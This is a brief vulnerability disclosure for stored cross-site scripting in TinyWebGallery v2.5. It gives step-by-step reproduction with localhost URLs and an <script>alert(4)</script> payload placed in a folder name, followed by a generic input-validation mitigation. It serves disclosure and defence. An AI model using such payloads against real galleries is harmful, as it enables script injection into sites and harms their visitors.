TinyWebGallery v2.5 – Stored Cross-Site Scripting (XSS)

TinyWebGallery v2.5 is vulnerable to stored cross-site scripting (XSS). An attacker can exploit this vulnerability by logging into an account, going to http://localhost/twg25/index.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg, editing the folder name section to <script>alert(4)</script>, and then going to http://localhost/twg25/index.php?twg_album=3_youtube.com.

Mitigation:

Input validation should be used to prevent XSS attacks. All user-supplied input should be validated and filtered before being used in the application.
